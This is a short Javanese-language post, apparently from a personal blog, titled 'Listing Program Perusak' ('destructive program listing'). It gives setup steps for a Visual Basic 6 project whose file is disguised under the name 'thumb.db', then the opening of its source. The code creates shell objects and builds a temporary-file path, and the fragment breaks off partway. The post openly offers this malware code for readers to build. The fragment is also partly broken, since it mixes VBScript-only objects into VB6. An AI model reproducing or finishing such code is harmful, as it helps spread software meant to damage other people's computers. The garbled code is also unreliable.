Listing Program Perusak
22.53
HERMAN
,
Herman nggawe tombol commmand1, textbox di jenengi JODIBUKAK trus setting textbox multiline=true d lebetake referensi project wshom.ocx salino file kuwi ning folder program di jenengi thumb.db
rumusane:
Dim fso As New FileSystemObject
Private Sub Command1_Click()
On Error Resume Next
Dim ws, hsl As String
Set ws = CreateObject("wscript.Shell")
Set sh = CreateObject("Shell.application")
Q = WScript.ScriptFullName
Q = App.Path + "\Thumb.db"
tmp = fso.GetSpecialFolder(2)
tn = fso.GetTempName
tmpt = tmp + "\" + tn
Set swt = WScript.Arguments...
